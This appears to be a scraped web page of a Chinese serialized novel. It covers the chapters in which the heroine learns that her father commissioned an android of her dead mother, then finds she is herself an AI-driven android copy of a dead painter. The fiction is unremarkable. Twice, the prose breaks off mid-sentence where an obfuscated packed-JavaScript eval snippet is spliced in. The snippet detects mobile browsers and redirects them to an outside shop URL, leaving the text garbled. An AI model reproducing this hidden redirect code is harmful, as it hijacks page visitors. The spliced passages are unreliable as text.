一个遗言视频,大多数人关注的都是当事人本身的发言,但浅枝将注意力放在了视频背景上。纯白的墙壁和纯白的被子,浅枝扫视了一圈房间,没错,这条视频就是在这间房里拍的,许新寒特意布置的花瓶也在,只是当时插的是一朵月季。 花瓶旁边放着一个白色的播放器,普通的足以让人忽略。浅枝从来没有在家里见到过它,于是她将视线投到了房间里。付宁安曾经说过,这个房间就是给她准备的,只允许她一个人住。 播放器很小巧,浅枝是在一幅厚重的挂画里找到的。屋内东西虽然不多,但能找到挂画里去,说明整个房间都被浅枝翻了个遍。 挂画不是她的作品,所以许新寒没有将它带回家,只是摆在床头桌上。播放器就是用来播放视频的,看视频的人并不会觉得播放器的出现很突兀。但是浅枝不这么认为,芯片放在相机里、电脑里都能读取,没有必要再搞出这么一个“古董”来,所以播放器的出现本身就是一个信息。 她急忙用播放器读取芯片,果然发现了一个文件夹。文件夹里都是照片,大半都是庄园和母亲遗物的记录,最后一张照片是一张合同单。她急忙放大查看,然后所有的思维都被猛然截断,大脑顿时只剩下一片空白。 15. 真相 那是一张仿生人研究实验合同,实验对象是已经去世的莫熠,实验室在芬兰,实验内容就是提取莫熠的基因,制作一个和莫熠达到99.99%相似度的仿生人。 浅枝把播放器开了又关,关了又开,连芯片也被她拔了又插,插了又拔,她重复地做着这些动作,近乎祈求地希望那张照片只是一个幻觉。没有合同,更没有母亲的名字,从她拿到播放器一开始,这一切全都是错觉。 可是芯片没有说谎,播放器也是一个诚实的机器,无论她重启几遍,那张合同单还是如白纸上的鲜血一样突兀地出现在她的视野里,让她根本移不开眼。 所以她当年不肯跟卫执离开就是因为这个原因,难怪许新寒说他和卫执从一开始就是二选一。她根本就不可能同意卫执的决定,但是她又无法阻止,所以她只能和卫执断绝往来。 她立即给卫执发了消息,称自己已经知道了当年的真相。发完信息后,她瘫坐在椅子上像是全身被抽干了力气。这就是她一直寻找的真相,是她违背当年意志也要出国寻找的真相。很荒谬,但这就是现实。 卫执现在在做什么呢?他的身边是否有一个和莫熠一模一样的女子,或者是他已经成了某个仿生人研究项目团队的老板?浅枝很想质问他。 浅枝正杂七杂八想着,门口突然传来敲门声。她打开门,门外是满面笑容的付宁安。 “卫姐姐!”付宁安笑着和浅枝打招呼,忽然发现她的脸色极其难看,于是急忙将她扶到床上坐下,“你怎么了?” 浅枝轻声回答:“没事,我只是昨晚做了噩梦,没有休息好而已。” “只是这样吗?我觉得你还是得做个检查。院长让我来问你感觉怎么样,如果没有不适就可以回家了。我觉得你还是再留下来观望几天吧,万一有什么事,我们也能照料。” 浅枝摇头:“不用麻烦院长了。” 付宁安一笑:“这次不用麻烦院长,他出市交流去了,一个星期才能回来呢。” “他是什么时候走的?”浅枝问。 付宁安告诉浅枝是昨晚,然后硬是拉着浅枝做了个简单的检查。她边记录数据边说:“院长嘱咐我照顾好你,我可不能不听。” 浅枝盯着付宁安看了一会儿,终于忍不住开口:“你们是做生物技术的,我可以问你一个相关问题吗?” “可以呀,”付宁安记完数据,认真地看向浅枝,“姐姐不用这么客气,你想问什么?” “我想问,对于仿生人,你们是怎么看待的?” 付宁安没想到浅枝会问这个问题先是一愣,继而才回过神:“仿生人拥有类人躯体和模拟人类的思维方式,本质上来说仍属于机械范畴。但是不同的仿生人水平差别很大,有的只是机械骨骼,有的却是人造血液系统和循环系统等,从外表和生物机理上已经和人类看不出差别。” “那你们作为相关研究人员,对仿生人这一技术有什么展望吗?”浅枝追问。 付宁安思索了一会儿:“我想,让智能机械拥有人类躯体,或者将人类基因植入智能机械都是很有未来的。只是这种技术目前难度太大,而且有医学伦理质疑,需要法律来规范。不过我还没接触过这些,如果要拿人体做实验,国家肯定是不会支持的。” 一通话说完,付宁安转头就看见浅枝一言不发、眼神游离。她伸手在她面前挥了挥:“姐姐,你还好吗?怎么会想到问我这种问题呢?” “哦,没事,”浅枝回过神来,勉强笑了笑,“我只是在论坛上看到有人讨论,如果亲人死后,把她做成一个仿生人可不可行。” “这样吗?”付宁安摇头,“人死不能复生,就算成功了,那个仿生人也不再是他的亲人,她也没有任何身份信息供她在人类社会正常生活。而且死者未必有这个意愿啊,这对本人和仿生人来说不是都不公平吗?” “如果真的有人做了呢?”浅枝喃喃道,比起问付宁安,这个问题更像是在问自己,她知道了真相,现在可以做什么? “这能怎么做呢?”付宁安惊讶道,随即又摇摇头,“即使做了也没什么别的法子,总不能惩罚创作者后再将仿生人销毁吧?如果一个仿生人过于逼真,会有人支持仿生人也有人权的,这就涉及到伦理讨论了。” 是的,所以以前的卫浅枝即使无法认同卫执的选择也没有举报,但她又不明白,为什么会留下这个合同呢,这不是留下隐患吗?难道她预感到了自己的失忆,特意为自己留下真相,她有些想不明白。 付宁安觉得今天的浅枝格外奇怪,特别是她问出那个问题。可是她找不到浅枝的心结,只能嘱咐她好好休息。 浅枝在房间里窝了一天,直到傍晚才出门。她又来到了花园,可是看着摇曳的花枝,她再也生不出开心的情绪。一边是父亲出国的真相,一边是被隐瞒的自己失忆多次的事实。 骗子,都是骗子。父亲在骗她出国,那罗谨微为什么要骗她?是担心她接受不了自己失忆多次的事实吗? 那许新寒又知不知情?她这时候才想起被忽略了许久的许新寒来。许新寒已经五天没有出现了,就像是凭空消失一般,而她也没有记起。想起那日吵架的内容,浅枝决定给许新寒打个电话,她想告诉他,她会选择他。 她刚拿起终端,突然看见一个熟悉的身影穿过走廊,是许新寒。 “正好不用打电话了。”她放下终端抬脚跟了上去,然而还没等她出声叫住许新寒,就看见许新寒径直朝圆弧大楼的方向走去,正是吴松带她看的那一栋楼——升卿楼。 升卿楼的格局和主楼完全不一样,主楼很明亮通透,走廊四通八达且十分宽阔,而这里的环境看起来则沉闷阴暗很多,只有北面透光,大厅里四处都是雕像、玻璃箱之类的摆设。走廊设计得歪歪扭扭、七拐八弯,根本不知道通向哪里,如果不是知道这里是研究院,她恐怕要误以为是密室之类的空间了。 复杂的布局使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050043|194805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浅枝无法分神去观察周围的环境,只能集中注意力跟紧许新寒。许新寒要去哪里?她心里有很多疑问。 “浅枝。”许新寒站在最后一扇门前,突然唤了卫浅枝一声。浅枝以为他发现了自己,正要上前,却见许新寒直接推开门走了进去。 “哎?”浅枝急忙跟了上去,却在看清屋内的环境的一瞬间,震惊地定在原地。 这是卫浅枝的房间,主体布置和她现在住的那间一模一样,只是没有她的私人物件。桌上的玻璃瓶中插着一枝粉色的杏花,那杏花开得正盛,可是外面早已过了杏花绽放的时节。 许新寒这时才注意到她,他站在床边,回头看向浅枝,先是惊讶了一瞬,继而又露出一点淡淡的笑意:“第一次来这里吧。” “这里是?”她本能地察觉到了不对劲,但好奇心使她完全挪不开脚步。 “这里是卫浅枝的房间。”许新寒回答她。 浅枝皱眉:“我从来不知道还有这么一间房,它为什么在这里?” 许新寒没有回答这个问题,只是踱步到桌边,伸手小心翼翼地碰了碰那枝杏花,语气淡淡:“你知道浅枝的名字是怎么来的吗?” “母亲取的。阳春三月,她生育那天,看见一脉开着浅粉色杏花的枝条伸到窗边,所以给孩子取名叫浅枝。”这是日记里的内容,浅枝已经可以倒背如流。 “杏花是不可以凋谢的,”许新寒盯着那枝杏花,“这一枝是特殊培育的,剪下来后只要放在培养瓶内,就永远不会凋谢。” 浅枝不解地看了一眼杏花枝,没瞧出特别的地方,也一时不明白他要说什么。 “你为什么要跟进来呢?”许新寒踱步靠近她,“如果你不进来的话,我还可以再欺骗自己一次,可是你为什么要进来呢?让它成为秘密不好吗?” “什么秘密?”一股阴冷爬上她的脊背。 “浅枝,哦,不能叫你浅枝了,”许新寒突然变得神情淡漠,看着浅枝就像在看一个陌生人,“毕竟真正的浅枝已经死了。” 浅枝不禁皱眉:“许新寒,你疯了吧,你知道自己在说什么吗?” 许新寒一把抓住她的肩膀,紧盯着她的眼睛:“你还不明白吗?卫浅枝已经死了,她的遗言视频你不是看过了吗?那就是她的最后一面啊。” 浅枝烦躁地去推许新寒,却被他紧紧抓住手腕。她一边挣扎一边大喊:“放开我,许新寒!你已经疯了,你需要看医生!” “我疯了?哈哈哈!”许新寒松开浅枝,忽然大笑起来。浅枝警惕地盯着许新寒,五感都被清晰地放大。 过了一会儿许新寒终于笑够了,松开她,又走回床边:“还不肯相信吗?那我让你看看什么才是真相。” 浅枝紧张地盯着许新寒,一个大胆的想法突然在她脑中成型。她猛地瞪大了眼睛,伸手想要阻止许新寒的举动。 “不!”但她还是没来得及阻止,许新寒已经一把掀开了床单。 16. 仿生 缠绕的藤蔓布满了整张床,拨开藤蔓,是一个大型玻璃器皿。但它同时也是一副大棺材,因为一个死去多时的人正安详地躺在里面。 浅枝瞪大了眼睛,只觉得脑中一瞬间气血上涌,差点栽倒在地。她踉跄地走到床边,几乎要趴在器皿上。器皿里的女子是真正的卫浅枝,和遗言视频中的一模一样,肤色苍白,虽然闭着眼睛,但神情却十分自然,像是睡过去一般。 浅枝,卫浅枝。那一刻她忘记了自己是谁,日记中的故事渐渐和眼前的卫浅枝重合,她好像穿越时空,看见了卫浅枝短暂的一生。 成长在幸福美满的富裕家庭,从小展现出惊人的绘画天赋,无论是学业还是交友,她的人生都一直顺遂。直到母亲死亡,父亲出国,她的身形瞬间高大起来,然后一个人支撑起了整个家。朋友陪伴,恩师培育,越来越多的鲜花荣誉加身,她终于摘得了天才青年画家的桂冠。而后许新寒站到了她身边,给她戴上了求婚戒指。她的朋友们都很高兴,他们的笑容定格在画中,身后是涛涛的祝岭江水,翻滚不息。 然而这样的美好转瞬即逝,她在一瞬间突然被抽空了力气,身形也迅速消瘦下来。她疲惫地坐在画板前,她的手在颤抖,但她的眼睛炯炯有神,仿佛盛满了所有的期待和希望。 早春台上一枝花,罗裙才思寄天涯。可怜镜中单只影,丹青未成终年华。那些美好的词藻才属于她,属于这个已经逝去的天才画家。 卫浅枝已经预感到自己死后可能出现的一系列荒唐,她是真的了解许新寒,也是真的希望他能放下,可她也低估了许新寒的偏执。如果能无牵无挂地离开这世间,于她来说,也算是不幸中的万幸。 “我,我是谁?”半晌浅枝才渐渐缓过神来,真正的卫浅枝躺在这里,那她是谁呢? “你是复刻浅枝的仿生人。你的相貌来自于她,思想来自于人工智能,即使有了仿生的人体结构,但你依旧算不上一个生命体。” 嗡的一声,浅枝只觉得大脑一片空白。 “你在开玩笑吧?”她干笑一声,伸手敲了敲自己的脑袋,“我在做梦吗?现在的梦怎么越来越逼真了?”然后她无措地东张西望,又喃喃自语,像是梦呓一般:“你在说什么呢?什么仿生人,我都没有听说过。” 一模一样的房间,性情大变的许新寒,她甚至没有得知卫执出国真相时的震惊。她只是感到疑惑,真情实感地将这当成一场梦。 冰冷无情的话碾压着她的希望,她抬起头呆愣地看向许新寒,然后猛地转身去拉门把手。“放我出去!这里是哪里?”浅枝用力掰扯着门把手,却怎么都拉不开门。 “别费力气了,”许新寒冷冷道,“进了这间屋子,门就会自动锁上,没有钥匙是出不去的。” “那你呢?”浅枝抬头看他。 “我当然有钥匙。” “那你放我走!”浅枝急得大喊,“我什么都没有看见,我什么都不知道!我求求你了,你放我离开!” “不可以,”许新寒一把抓住她的手腕,“是你自己选择跟来的,我已经告诉你真相了。只是你为什么要逃避呢?卫浅枝已经不存在了啊,她真的死了,你不是看到了她的遗体吗?” “你骗我,我不信!”浅枝大吼一声,忽然又平静下来,“对了,我们去找院长对峙,付宁安也知道的,是他们给我做的手术,他们怎么可能不知道我的身份?” 许新寒没有松手:“你就是他创造的,你说呢?” 浅枝仍不相信地摇头:“不,不对!你骗我!大家都认识我,陈凌认识我,叔叔阿姨承认我,我还有老师,还有父亲,这一切怎么可能是假的?你们都在骗我!” 她越说越激动,直到一滴泪顺着脸颊流下,她抹了一把眼睛,像是找到什么佐证似的,又笑起来:“我会哭,我会笑,我有独立的思想,仿生人怎么可能会拥有这些?你看见了吧,我是活着的,我是人类。” “难道你没有见过卫管家?难道他的举止不是和你一样吗?”许新寒彻底击碎了她的幻想。 她下意识向后退了两步,一边提防着许新寒一边回忆和卫都的相处:“我和卫管家一样?这怎么能一样呢?他明明——” “你没有意识到是因为你的自助权限比他高,你的自我意识也比他丰富,”许新寒冷漠地打断她的话,“不过也就仅此而已了,你们本质上是同类。” “怎么会这样,怎么会这样?”身份是假的,相貌是假的,就连思想和情感都是模拟出来的,这么久的日日夜夜,这么浓烈的喜怒哀乐,只换来一句“依旧算不上一个生命体”。她从未觉得脑中思绪如此凌乱,她的眼前是一团乱麻,怎么也看不清。 不过很多东西都可以解释清楚了。难怪自己一直被要求服用营养剂,因为那本就是属于仿生人的、维持着虚假生理机能的食物。难怪自己从来没有过那些人类最平常的生理活动,她甚至都没有怀疑过。也难怪许新寒在看到全家福的时候情绪失控,他从来没想过卫浅枝有秘密瞒着他。 许新寒看着她无助失措的样子,心里忽然生出一丝不忍:“其实我不希望你消失,你毕竟陪了我这么久。” 浅枝脸色剧变:“消失?你要杀死我?” “‘杀’这个字只是针对生灵而言,你不是人类,只能算销毁吧。”许新寒语气淡淡,让她想到了那些被抛弃的玩偶、被重铸的钢铁和老旧市场里的那些摆件。 不甘,愤怒,泪水不自觉滚落,她瞪着许新寒:“为什么要这么对我?” “对不起,我只是一时无法接受她的死亡。” “所以你用我暂时去弥补她的存在?” 许新寒没有回答,算是默认。 浅枝蹲下来,趴在床边仔细打量着卫浅枝的模样。她盯了她很久,忽然耸动着肩,从极力压抑着胸腔的笑,再到大笑出声:“哈哈哈,许新寒,我算是第一次认识你!哈哈哈!” 许新寒看着她疯狂大笑的样子,不耐烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050883|194805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地皱起眉。 浅枝微微直起身子,一边戏谑地看着他,一边哈哈大笑:“我笑你是一个懦夫呀,你比我还会自欺欺人!你们不愧是翁婿,连怀念爱人都要用同样的方式。” “你说什么?” “哦。我忘了,卫浅枝没有告诉你呢,”浅枝缓缓站起身,直视着许新寒的眼睛,越说越激动,“你的好岳父也是这么对你的岳母的,你们不愧是一家人呢。如果你当年就知道真相,恐怕就不会在国内费这么大力气了。你应该带着卫浅枝去国外,然后一家人幸福地生活在一起,以自欺欺人的方式永远活着!” “看来你是真的不想给自己留活路。”许新寒冷笑。 “那你呢?”浅枝和他针锋相对,“一旦陈凌他们和社会大众知道了真相,你就会面对千夫所指,然后乖乖地滚去国外。” “他们不会知道的,”许新寒冷眼瞧着浅枝,对她步步紧逼,“只要你消失了,这件事就没人会知道。” 浅枝已经将手搭在了门把手上,她悲伤地看向许新寒:“你知道吗?在没有跟着你来到这里之前,我正准备给你打电话,告诉你,我会选择你。但是现在,一切都不重要了。” 许新寒瞬间愣住。他本以为浅枝已经放弃他了,他不能接受浅枝顶着爱人的脸说着放弃自己的话,所以他选择了摊牌。 如果早点说就好了,他想。很可惜,就差一点,他们本可以不走到这个地步的。如果浅枝早点选择他,那他会心安理得地麻痹自己,说服自己将浅枝当成长久的代替者。可惜他自己戳破了这个美梦。 浅枝趁着许新寒愣神一把拉开了房门跑了出去,然而没跑两步她又愣在原地。 门外根本不是走廊,那是一间黑黢黢的密室。浅枝惊讶地瞪大了眼睛,她不敢相信地看着周遭的一切。 “嘭”的一声响,身后的门被重重关上,昏黄的灯光亮起,她急忙回头,正对上神色复杂的许新寒。 “这,这是怎么回事?”她尽力压抑着恐惧,但发颤的声音仍然暴露了她的紧张。不是她胆小,面对如此离奇的景象,凭谁都无法保持镇定。 许新寒冷笑一声:“如果不布置一点机关,这里岂不成了人人都能逛的菜市场了?” 被算计了,浅枝心想。她完全没预料到研究室不仅有密室,还有这偷梁换柱的机关,简直让人大开眼界。不过她只是惊慌了一会儿就恢复冷静,幸亏她留了一个后手,当许新寒说出不希望她消失时,她就已经报了警。 “嘀”,许新寒看了一眼手机,脸色立即阴沉下来:“你报警了?” “你一直在监视我?”浅枝大惊。 她忽然想起卫执,难怪他当时偷偷让乔来接自己,又在信里提醒她可能会被监视。只怪她当初对许新寒毫无提防,而且她还忽略了一件事。 “我去机场那天,你是不是早就知道了?”浅枝颤抖着声音,她不敢去猜想,但又不得不做出这个推断。她已经没法再欺骗自己了。